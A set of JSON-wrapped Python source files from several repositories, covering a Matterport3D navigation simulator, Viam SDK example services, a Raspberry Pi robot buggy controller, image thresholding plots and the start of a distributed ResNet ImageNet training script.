{"seq_id": "74660686026", "text": "import os\nimport sys\nimport argparse\nimport csv\nimport math\nimport json\nimport random\nimport logging\nfrom collections import defaultdict\n\nimport networkx as nx\nimport numpy as np\nimport torch\n\nfrom misc import util\nimport MatterSim\n\n\ncsv.field_size_limit(sys.maxsize)\n\nangle_inc = math.pi / 6.\nNUM_VIEWS = 36\n\nIMAGE_W = 640\nIMAGE_H = 480\nVFOV = 60\n\n\nclass ImageFeatures(object):\n\n    def __init__(self, image_feature_file, image_feat_size, angle_feat_size):\n\n        logging.info('Loading image features from %s' % image_feature_file)\n        tsv_fieldnames = ['scanId', 'viewpointId', 'image_w','image_h', 'vfov', 'features']\n\n        default_features = np.zeros((NUM_VIEWS, image_feat_size), dtype=np.float32)\n        self.features = defaultdict(lambda: default_features)\n\n        with open(image_feature_file, \"rt\") as tsv_in_file:\n            reader = csv.DictReader(\n                tsv_in_file, delimiter='\\t', fieldnames=tsv_fieldnames)\n            for item in reader:\n\n                assert int(item['image_h']) == IMAGE_H\n                assert int(item['image_w']) == IMAGE_W\n                assert int(item['vfov']) == VFOV\n\n                long_id = item['scanId'] + '_' + item['viewpointId']\n                features = np.frombuffer(util.decode_base64(item['features']),\n                    dtype=np.float32).reshape((NUM_VIEWS, image_feat_size))\n                self.features[long_id] = features\n\n    def get_features(self, scan, viewpoint):\n        long_id = scan + '_' + viewpoint\n        return self.features[long_id]\n\n\nclass MatterportWorldMeta(object):\n\n    def __init__(self, config):\n\n        self.config = config\n        self.angle_feat_size = config.nav_agent.model.angle_feat_size\n        self.image_feat_size = config.nav_agent.model.image_feat_size\n\n        self.load_graphs()\n        self.load_cached_adjacent_lists()\n        self.load_image_features()\n        self.make_angle_features()\n\n    def load_graphs(self):\n        scan_list_file = os.path.join(\n            self.config.data_dir, 'connectivity/scans.txt')\n        scans = set(open(scan_list_file).read().strip().split('\\n'))\n        self.graphs = {}\n        self.paths = {}\n        self.distances = {}\n        for scan in scans:\n            graph = util.load_nav_graphs(scan, self.config.data_dir)\n            self.graphs[scan] = graph\n            self.paths[scan] = dict(nx.all_pairs_dijkstra_path(graph))\n            self.distances[scan] = dict(nx.all_pairs_dijkstra_path_length(graph))\n\n    def load_cached_adjacent_lists(self):\n        cached_action_space_path = os.path.join(\n            self.config.data_dir, 'panoramic_action_space.json')\n        with open(os.path.join(cached_action_space_path)) as f:\n            self.cached_adj_loc_lists = json.load(f)\n\n    def load_image_features(self):\n        image_feature_path = os.path.join(self.config.data_dir, 'img_features',\n            self.config.world.image_feature_file)\n        self.featurizer = ImageFeatures(image_feature_path, self.image_feat_size, self.angle_feat_size)\n\n    def make_angle_features(self):\n        self.angle_features = []\n        for i in range(NUM_VIEWS):\n            embeddings = np.zeros((NUM_VIEWS, self.angle_feat_size), dtype=np.float32)\n            base_heading = (i % 12) * angle_inc\n            for j in range(NUM_VIEWS):\n                heading = (j % 12) * angle_inc\n                heading -= base_heading\n                elevation = ((j // 12) - 1) * angle_inc\n                embeddings[j, :] = util.build_angle_features(heading, elevation, self.angle_feat_size)\n            self.angle_features.append(embeddings)\n\n\nclass MatterportWorld(object):\n\n    STOP_ACTION = 0\n\n    def __init__(self, meta):\n\n        self.config = meta.config\n\n        self.featurizer = meta.featurizer\n        self.graphs = meta.graphs\n        self.paths = meta.paths\n        self.distances = meta.distances\n        self.cached_adj_loc_lists = meta.cached_adj_loc_lists\n        self.angle_features = meta.angle_features\n        self.angle_feat_size = meta.angle_feat_size\n        self.image_feat_size = meta.image_feat_size\n\n        self.init_simulator()\n\n        self.random = random.Random(self.config.seed)\n\n    def init(self, poses):\n        self.sim.newEpisode(*list(zip(*poses)))\n        return MatterportState(self)\n\n    def init_simulator(self):\n        self.sim_batch_size = self.config.trainer.batch_size\n        self.sim = MatterSim.Simulator()\n        self.sim.setRenderingEnabled(False)\n        self.sim.setDiscretizedViewingAngles(True)\n        self.sim.setCameraResolution(IMAGE_W, IMAGE_H)\n        self.sim.setCameraVFOV(math.radians(VFOV))\n        self.sim.setNavGraphPath(\n            os.path.join(self.config.data_dir, 'connectivity'))\n        self.sim.setBatchSize(self.sim_batch_size)\n        self.sim.initialize()\n\n    def get_shortest_path(self, scan, start, end):\n        return self.paths[scan][start][end]\n\n    def get_weighted_distance(self, scan, start, end):\n        return self.distances[scan][start][end]\n\n    def get_unweighted_distance(self, scan, start, end):\n        return len(self.get_shortest_path(scan, start, end)) - 1\n\n    def get_path_length(self, scan, path):\n        length = 0\n        for i, v in enumerate(path[1:]):\n            u = path[i]\n            length += self.get_weighted_distance(scan, u, v)\n        return length\n\n\nclass MatterportState(object):\n\n    def __init__(self, world):\n\n        self.world = world\n\n        self.states = []\n\n        for sim_state in world.sim.getState():\n\n            state = util.Struct()\n            state.scan      = sim_state.scanId\n            state.viewpoint = sim_state.location.viewpointId\n            state.view_id   = sim_state.viewIndex\n            state.heading   = sim_state.heading\n            state.elevation = sim_state.elevation\n            state.location  = sim_state.location\n\n            long_id = '_'.join(\n                [state.scan, state.viewpoint, str(state.view_id % 12)])\n            state.adj_loc_list = world.cached_adj_loc_lists[long_id]\n\n            state.curr_view_features = world.featurizer.get_features(\n                state.scan, state.viewpoint)\n\n            state.action_embeddings = util.build_action_embeddings(\n                state.adj_loc_list, state.curr_view_features, world.angle_feat_size)\n\n            state.curr_view_features = np.concatenate(\n                (state.curr_view_features, world.angle_features[state.view_id]), -1)\n\n            self.states.append(state)\n\n    def __getitem__(self, i):\n        return self.states[i]\n\n    def __iter__(self):\n        return iter(self.states)\n\n    def __len__(self):\n        return len(self.states)\n\n    def step(self, actions):\n\n        navigable_view_indices = []\n        next_viewpoint_ids = []\n        next_view_indices = []\n\n        for i, (state, action) in enumerate(zip(self.states, actions)):\n            loc = state.adj_loc_list[action]\n            next_viewpoint_ids.append(loc['nextViewpointId'])\n            next_view_indices.append(loc['absViewIndex'])\n            navigable_view_indices.append(loc['absViewIndex'])\n\n        new_states = self._navigate_to_locations(next_viewpoint_ids,\n            next_view_indices, navigable_view_indices)\n\n        return new_states\n\n    def _navigate_to_locations(self,\n            next_viewpoint_ids, next_view_indices, navigable_view_indices):\n\n        sim = self.world.sim\n\n        # Rotate to the view index assigned to the next viewpoint\n        heading_deltas, elevation_deltas = util.calculate_headings_and_elevations_for_views(\n            sim, navigable_view_indices)\n\n        sim.makeAction(\n            [0] * len(heading_deltas), heading_deltas, elevation_deltas)\n\n        states = sim.getState()\n        locationIds = []\n\n        assert len(states) == len(next_viewpoint_ids) == len(navigable_view_indices)\n\n        zipped_info = zip(states,\n                          next_viewpoint_ids,\n                          navigable_view_indices)\n\n        for i, (state, next_viewpoint_id, navigable_view_index) in enumerate(zipped_info):\n\n            # Check if rotation was done right\n            assert state.viewIndex == navigable_view_index\n\n            # Find index of the next viewpoint\n            index = None\n            for i, loc in enumerate(state.navigableLocations):\n                if loc.viewpointId == next_viewpoint_id:\n                    index = i\n                    break\n            assert index is not None, state.scanId + ' ' + state.location.viewpointId + ' ' + next_viewpoint_id\n            locationIds.append(index)\n\n        # Rotate to the target view index\n        heading_deltas, elevation_deltas = util.calculate_headings_and_elevations_for_views(\n            sim, next_view_indices)\n\n        sim.makeAction(locationIds, heading_deltas, elevation_deltas)\n\n        # Final check\n\n        states = sim.getState()\n        zipped_info = zip(states, next_viewpoint_ids, next_view_indices)\n        for state, next_viewpoint_id, next_view_index in zipped_info:\n            assert state.viewIndex == next_view_index\n            assert state.location.viewpointId == next_viewpoint_id\n\n        return MatterportState(self.world)\n\n\n", "repo_name": "khanhptnk/Matterport3DGym", "sub_path": "code/tasks/R2R/worlds/matterport.py", "file_name": "matterport.py", "file_ext": "py", "file_size_in_byte": 9140, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "csv.field_size_limit", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 19, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 21, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 36, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 37, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 49, "usage_type": "call"}, {"api_name": "misc.util.decode_base64", "line_number": 49, "usage_type": "call"}, {"api_name": "misc.util", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "misc.util.load_nav_graphs", "line_number": 79, "usage_type": "call"}, {"api_name": "misc.util", "line_number": 79, "usage_type": "name"}, {"api_name": "networkx.all_pairs_dijkstra_path", "line_number": 81, "usage_type": "call"}, {"api_name": "networkx.all_pairs_dijkstra_path_length", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 98, "usage_type": "attribute"}, {"api_name": "misc.util.build_angle_features", "line_number": 104, "usage_type": "call"}, {"api_name": "misc.util", "line_number": 104, "usage_type": "name"}, {"api_name": "random.Random", "line_number": 127, "usage_type": "call"}, {"api_name": "MatterSim.Simulator", "line_number": 135, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "misc.util.Struct", "line_number": 172, "usage_type": "call"}, {"api_name": "misc.util", "line_number": 172, "usage_type": "name"}, {"api_name": "misc.util.build_action_embeddings", "line_number": 187, "usage_type": "call"}, {"api_name": "misc.util", "line_number": 187, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 190, "usage_type": "call"}, {"api_name": "misc.util.calculate_headings_and_elevations_for_views", "line_number": 227, "usage_type": "call"}, {"api_name": "misc.util", "line_number": 227, "usage_type": "name"}, {"api_name": "misc.util.calculate_headings_and_elevations_for_views", "line_number": 257, "usage_type": "call"}, {"api_name": "misc.util", "line_number": 257, "usage_type": "name"}]}
{"seq_id": "22162804666", "text": "from typing import Dict, List, Optional\nfrom tests.mocks.services import MockMLModel, MockSLAM\nfrom viam.services.slam import Pose, SLAM\nfrom viam.services.mlmodel import Metadata, MLModel\nfrom viam.utils import ValueTypes\n\n\nclass ExampleMLModel(MLModel):\n    def __init__(self, name: str):\n        self.input_data = MockMLModel.INPUT_DATA\n        self.output_data = MockMLModel.OUTPUT_DATA\n        self.meta = MockMLModel.META\n        super().__init__(name)\n\n    async def infer(self, input_data: Dict[str, ValueTypes], *, timeout: Optional[float] = None) -> Dict[str, ValueTypes]:\n        return self.output_data\n\n    async def metadata(self, *, timeout: Optional[float] = None) -> Metadata:\n        return self.meta\n\n\nclass ExampleSLAM(SLAM):\n    def __init__(self, name: str):\n        self.position = MockSLAM.POSITION\n        self.internal_chunks = MockSLAM.INTERNAL_STATE_CHUNKS\n        self.point_cloud_chunks = MockSLAM.POINT_CLOUD_PCD_CHUNKS\n        super().__init__(name)\n\n    async def get_internal_state(self, **kwargs) -> List[bytes]:\n        return self.internal_chunks\n\n    async def get_point_cloud_map(self, **kwargs) -> List[bytes]:\n        return self.point_cloud_chunks\n\n    async def get_position(self, **kwargs) -> Pose:\n        return self.position\n", "repo_name": "michaellee1019/viam-python-sdk", "sub_path": "examples/server/v1/services.py", "file_name": "services.py", "file_ext": "py", "file_size_in_byte": 1272, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "viam.services.mlmodel.MLModel", "line_number": 8, "usage_type": "name"}, {"api_name": "tests.mocks.services.MockMLModel.INPUT_DATA", "line_number": 10, "usage_type": "attribute"}, {"api_name": "tests.mocks.services.MockMLModel", "line_number": 10, "usage_type": "name"}, {"api_name": "tests.mocks.services.MockMLModel.OUTPUT_DATA", "line_number": 11, "usage_type": "attribute"}, {"api_name": "tests.mocks.services.MockMLModel", "line_number": 11, "usage_type": "name"}, {"api_name": "tests.mocks.services.MockMLModel.META", "line_number": 12, "usage_type": "attribute"}, {"api_name": "tests.mocks.services.MockMLModel", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 15, "usage_type": "name"}, {"api_name": "viam.utils.ValueTypes", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 18, "usage_type": "name"}, {"api_name": "viam.services.mlmodel.Metadata", "line_number": 18, "usage_type": "name"}, {"api_name": "viam.services.slam.SLAM", "line_number": 22, "usage_type": "name"}, {"api_name": "tests.mocks.services.MockSLAM.POSITION", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tests.mocks.services.MockSLAM", "line_number": 24, "usage_type": "name"}, {"api_name": "tests.mocks.services.MockSLAM.INTERNAL_STATE_CHUNKS", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tests.mocks.services.MockSLAM", "line_number": 25, "usage_type": "name"}, {"api_name": "tests.mocks.services.MockSLAM.POINT_CLOUD_PCD_CHUNKS", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tests.mocks.services.MockSLAM", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 32, "usage_type": "name"}, {"api_name": "viam.services.slam.Pose", "line_number": 35, "usage_type": "name"}]}
{"seq_id": "71082973066", "text": "#!/usr/bin/python3.4\n\n#####################################################\n##              This is the buggyBot               ##\n##   the first robotics Project from dandrews7396  ##\n#####################################################\n\nfrom datetime import datetime\nimport time\nimport os\nimport numpy as np\nimport explorerhat as eh\nimport cv2\nimport scipy\nfrom picamera import PiCamera\nfrom io import BytesIO, StringIO\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nfrom mpu6050 import mpu6050\n\n## Set-up a class that forms the basis for our buggyBot this will allow us to update\n## the bot as we go.\n\nclass buggyBot():\n    \"\"\"A buggy that's going to roam over the house. A lot of these will be None.\"\"\"\n\n    def __init__(self):\n        self.start_time = None # Start system time\n        self.time = None # Start the navigation time\n        self.total_time = None # Total time passed\n        self.img = None # No image to begin with\n        self.img_array = np.empty((240, 320, 3), dtype=np.uint8) # Image will also be saved as np array, so no need to convert.\n        self.yaw = None # Not yet initialised\n        self.pitch = None # Not yet initialised\n        self.roll = None # Not yet initialised\n        self.vel = None # Not yet initialised\n        self.steer = None # Not yet initialised\n        self.motor1 = eh.motor.one\n        self.motor2 = eh.motor.two\n        self.max_vel = 100\n        ## Add in address using sudo i2cdetect -y 1\n        self.mpu_sensor = mpu6050(0x68)\n        self.x_acc_ctr = None   ## These will need\n        self.y_acc_ctr = None   ## Populating on flat, level\n        self.z_acc_ctr = None   ## When stationary.\n        self.camera = PiCamera()\n        self.buggy_vision = np.zeros((160,230,3), dtype = np.float)\n        self.world_map = np.zeros((200, 200, 3), dtype = np.float)\n        self._img_file = './images/'\n\n\n    def update(self):\n        \"\"\" Update buggyBot as time passes.\"\"\"\n        if self.start_time == None:\n            self.start_time = time.time()\n            self.total_time = 0\n\n            if self.mpu_sensor.read_accel_range != 2:\n                self.mpu_sensor.set_accel_range(0x00)\n            if self.mpu_sensor.read_gyro_range != 250:\n                self.mpu_sensor.set_gyro_range(0x00)\n            self.camera.resolution = (320, 240)\n            self.camera.framerate = 24\n            self.camera.rotation = 180\n            self.img, self.img_array = self._take_picture()\n            self.display_image(init=True)\n\n        else:\n            tot_time = time.time() - self.start_time\n            if np.isfinite(tot_time):\n                self.total_time = tot_time\n            ## If using an arduino, see `accelArdData.py` for helper code\n            mpu_data = self.mpu_sensor.get_all_data()\n            ## Output mpu_data to console, for debug\n            print(mpu_data)\n            mpu_temp = mpu_data[0]\n            mpu_accel = mpu_data[1]\n            mpu_gyro = mpu_data[2]\n            self.pitch = self._calc_pitch(mpu_accel)\n            self.roll = self._calc_roll(mpu_accel)\n            self.img, self.img_array = self._take_picture()\n            self.display_image()\n\n    def _calc_pitch(self, accel_data):\n        \"\"\" Calculate pitch angle of buggyBot.\"\"\"\n        x = accel_data[\"x\"]\n        y = accel_data[\"y\"]\n        z = accel_data[\"z\"]\n        denom = np.sqrt(y**2 + z**2)\n        return np.arctan2(x, denom)\n\n    def _calc_roll(self, accel_data):\n        \"\"\" Calculate roll angle of buggyBot.\"\"\"\n        x = accel_data[\"x\"]\n        y = accel_data[\"y\"]\n        z = accel_data[\"z\"]\n        denom = np.sqrt(x**2 + z**2)\n        return np.arctan2(y, denom)\n\n    def _take_picture(self):\n        \"\"\" Take picture as both standard image an np array.\"\"\"\n        timestamp = datetime.utcnow().strftime('%Y_%m_%d_%H_%M_%S_%f')[:-3]\n        array_out = np.empty((240, 320, 3), dtype=np.uint8)\n        self.camera.capture(array_out, 'rgb')\n        std_img = self.camera.capture(self._img_file + '{}.jpg'.format(timestamp))\n        return std_img, array_out\n\n    def display_image(self, init=False):\n        \"\"\"Display latest image, overlay with IMU data\"\"\"\n        plt.clf()\n        images = sorted(os.listdir(self._img_file))\n        imgpath = self._img_file + images[-1]\n        img = mpimg.imread(imgpath)\n        plt.imshow(img)\n        if self.pitch and self.roll:\n            txt = 'Pitch: {:.3f}\\nRoll: {:.3f}'.format(self.pitch, self.roll)\n            overlay = plt.text(310, 50, txt,\n                               horizontalalignment='right', color='white')\n        plt.axis('off')\n        plt.draw()\n        if init:\n            plt.show(block=False)\n\n    def forwards(self, speed=100):\n        \"\"\"\n        This method is taken straight from the gpiozero library.\n        Simply calls the forward method for both motors via explorerhat\n\n        Speed is defaulted to 100, to match explorerhat default.\n        \"\"\"\n\n        self.motor1.forwards(speed)\n        self.motor2.forwards(speed)\n\n    def backwards(self, speed=100):\n        \"\"\"\n        Again taken from gpiozero, calls explorerhat motor `backwards()`\n        method for both motors.\n\n        speed is again set to 100, as per the explorerhat default.\n        \"\"\"\n\n        self.motor1.backwards(speed)\n        self.motor2.backwards(speed)\n\n    def stop(self):\n        \"\"\"\n        Calls speed = 0 on both motors, via the explorerhat\n        `motor.stop()` method.\n        \"\"\"\n        self.motor1.stop()\n        self.motor2.stop()\n    \n    ## These following methods will need to be augmented\n    ## with either an internal or external function to\n    ## match a required heading, once an integrated\n    ## heading sensor has been installed.\n\n    ## Can be used 'as is' for an RC solution.\n\n    def turn_left(self, speed=100):\n        \"\"\"\n        Call motor methods in opposite directions,\n        in order to turn left.\n\n        left backwards, right forwards. same speed.\n        \"\"\"\n        self.motor1.backwards(speed)\n        self.motor2.forwards(speed)\n\n    def turn_right(self, speed=100):\n        \"\"\"\n        As before, opposite direction.\n        \"\"\"\n        self.motor1.forwards(speed)\n        self.motor2.backwards(speed)\n", "repo_name": "dandrews7396/buggyBot", "sub_path": "buggy.py", "file_name": "buggy.py", "file_ext": "py", "file_size_in_byte": 6189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.empty", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 32, "usage_type": "attribute"}, {"api_name": "explorerhat.motor", "line_number": 38, "usage_type": "attribute"}, {"api_name": "explorerhat.motor", "line_number": 39, "usage_type": "attribute"}, {"api_name": "mpu6050.mpu6050", "line_number": 42, "usage_type": "call"}, {"api_name": "picamera.PiCamera", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 48, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "time.time", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.isfinite", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 98, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 102, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 103, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.image.imread", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}]}
{"seq_id": "27865152661", "text": "#!/usr/bin/env python \nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom skimage.io import imread\nfrom skimage import img_as_ubyte\n\nfrom skimage.util import random_noise\n\n\n\ndef task_5_example1(do_savefig = False):\n    coins = imread(\"data/hand.png\")\n    bc    = np.bincount(coins.ravel(), minlength = 256)\n    cdf   = np.cumsum(bc) / bc.sum()\n    mask1 = (coins > 50) & (coins < 90)\n    mask2 = (coins > 105) & (coins < 120)\n    mask3 = (coins > 185) & (coins < 205)\n    th1 = mask1\n    th2 = mask1 | mask2\n    th3 = mask1 | mask2 | mask3\n\n    xs = range(256)\n\n    fig, axes = plt.subplots(2, 3, figsize = (9, 6))\n    ax1, ax2, ax3, ax4, ax5, ax6 = axes.ravel()\n\n    ax1.imshow(coins, cmap = \"gray\")\n\n    ax2b = ax2.twinx()\n    ax2.bar(xs, bc)\n    ax2b.plot(xs, cdf, color = \"red\")\n\n\n    ax3.imshow(th1, cmap = \"gray\")\n    ax4.imshow(th2, cmap = \"gray\")\n    ax5.imshow(th3, cmap = \"gray\")\n    ax6.axis(\"off\")\n\n    ax1.set_title(\"hand.tiff\")\n    ax2.set_title(\"Histogram/CDF\")\n    ax3.set_title(\"Thresholding band at 50..90.\")\n    ax4.set_title(\"Thresholding bands at\\n50..90 and 105..120.\")\n    ax5.set_title(\"Thresholding bands at 50..90,\\n105..120, and 185..205.\")\n\n    fig.tight_layout()\n    fig.show()\n    if do_savefig:\n        fig.savefig(\"figures/task_5_1_example1.png\")\n\n\ndef task_5_example2(do_savefig = False):\n    coins  = imread(\"data/coins.png\")\n    coins2 = img_as_ubyte(random_noise(coins, mode = \"gaussian\"))\n\n    bc  = np.bincount(coins.ravel(), minlength = 256)\n    bc2 = np.bincount(coins2.ravel(), minlength = 256)\n    bc2[0] = bc2[-1] = 0\n\n    cdf  = np.cumsum(bc)  / bc.sum()\n    cdf2 = np.cumsum(bc2) / bc2.sum()\n\n    th  = coins  > 95\n    th2 = coins2 > 125\n\n    xs = range(256)\n\n    fig, [[ax1, ax2, ax_foo],\n          [ax3, ax4, ax_bar]] = plt.subplots(2, 3, figsize = (12, 8))\n    ax2b = ax2.twinx()\n    ax4b = ax4.twinx()\n\n    ax1.imshow(coins, cmap = \"gray\")\n\n    ax2.bar(xs, bc)\n    ax2b.plot(cdf, color = \"red\")\n\n    ax3.imshow(coins2, cmap = \"gray\")\n    ax4.bar(xs, bc2)\n    ax4b.plot(cdf2, color = \"red\")\n\n    ax1.set_title(\"Original img\")\n    ax2.set_title(\"Histogram/CDF (original img)\")\n\n    ax3.set_title(\"Noisy img (Gaussian noise)\")\n    ax4.set_title(\"Histogram/CDF (noisy img)\")\n\n    ax_foo.imshow(th, cmap = \"gray\")\n    ax_foo.set_title(\"Original img thresholded at 100\")\n    ax_bar.imshow(th2, cmap = \"gray\")\n    ax_bar.set_title(\"Noisy img thresholded at 125\")\n\n    fig.tight_layout()\n    fig.show()\n    if do_savefig:\n        fig.savefig(\"figures/task_5_1_example2.png\")\n\n", "repo_name": "sortraev/diku_OLD", "sub_path": "sip/A8/code/task_5.py", "file_name": "task_5.py", "file_ext": "py", "file_size_in_byte": 2522, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "skimage.io.imread", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "skimage.io.imread", "line_number": 52, "usage_type": "call"}, {"api_name": "skimage.img_as_ubyte", "line_number": 53, "usage_type": "call"}, {"api_name": "skimage.util.random_noise", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}]}
{"seq_id": "27292873991", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep  8 12:22:39 2021\n\n@author: Attila\n\"\"\"\n\nimport argparse\nimport os\nimport shutil\nimport time\nimport math\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.multiprocessing as mp\nimport torch.backends.cudnn as cudnn\nimport torch.distributed as dist\nimport torch.optim\nimport torch.utils.data\nimport torch.utils.data.distributed\n\nfrom torchvision.models.resnet import resnet18, resnet50\nfrom imagenet_tfrecord import ImageNet_TFRecord\n\nfrom torch.nn.parallel import DistributedDataParallel as DDP\nfrom network import marco_softmax\n\n# item() is a recent addition, so this helps with backward compatibility.\ndef to_python_float(t):\n    if hasattr(t, 'item'):\n        return t.item()\n    else:\n        return t[0]\n\ndef main_process(args):\n    # set address for master process to localhost since we use a single node\n    os.environ['MASTER_ADDR'] = 'localhost'\n    os.environ['MASTER_PORT'] = '12355'\n\n    # use all gpus pytorch can find\n    args.world_size = torch.cuda.device_count()\n    print('Found {} GPUs:'.format(args.world_size))\n    for i in range(args.world_size):\n        print('{} : {}'.format(i, torch.cuda.get_device_name(i)))\n\n    # total batch size = batch size per gpu * ngpus\n    args.total_batch_size = args.world_size * args.batch_size\n\n    # TODO: find out what this stuff does\n    print(\"\\nCUDNN VERSION: {}\\n\".format(torch.backends.cudnn.version()))\n    cudnn.benchmark = True\n    assert torch.backends.cudnn.enabled, \"Amp requires cudnn backend to be enabled.\"\n\n    if not len(args.data):\n        raise Exception(\"error: No data set provided\")\n\n    # start processes for all gpus\n    mp.spawn(gpu_process, nprocs=args.world_size, args=(args,))\n\ndef gpu_process(gpu, args):\n    # each gpu runs in a separate proces\n    torch.cuda.set_device(gpu)\n    torch.distributed.init_process_group(backend='nccl', init_method='env://',\n                                         rank=gpu, world_size=args.world_size)\n\n    # create model\n    model = resnet50(pretrained=args.pretrained)\n    model = nn.Sequential(model, marco_softmax(1000))\n\n    # Set cudnn to deterministic setting\n    if args.deterministic:\n        cudnn.benchmark = False\n        cudnn.deterministic = True\n        torch.manual_seed(gpu)\n        torch.set_printoptions(precision=10)\n\n    # push model to gpu\n    model = model.cuda(gpu)\n\n    # Scale learning rate based on global batch size\n    args.lr = args.lr*float(args.batch_size*args.world_size)/256.\n    optimizer = torch.optim.SGD(model.parameters(), args.lr, momentum=args.momentum,\n                                weight_decay=args.weight_decay)\n\n    # Use DistributedDataParallel for distributed training\n    model = DDP(model, device_ids=[gpu], output_device=gpu)\n\n    # define loss function (criterion) and optimizer\n    criterion = nn.NLLLoss().cuda(gpu)\n    best_prec1 = 0\n\n    # Optionally resume from a checkpoint\n    if args.resume:\n        # Use a local scope to avoid dangling references\n        def resume():\n            if os.path.isfile(args.resume):\n                print(\"=> loading checkpoint '{}'\".format(args.resume))\n                checkpoint = torch.load(args.resume, map_location=lambda storage, loc: storage.cuda(gpu))\n                args.start_epoch = checkpoint['epoch']\n                best_prec1 = checkpoint['best_prec1']\n                model.load_state_dict(checkpoint['state_dict'])\n                optimizer.load_state_dict(checkpoint['optimizer'])\n                print(\"=> loaded checkpoint '{}' (epoch {})\"\n                      .format(args.resume, checkpoint['epoch']))\n                return best_prec1\n  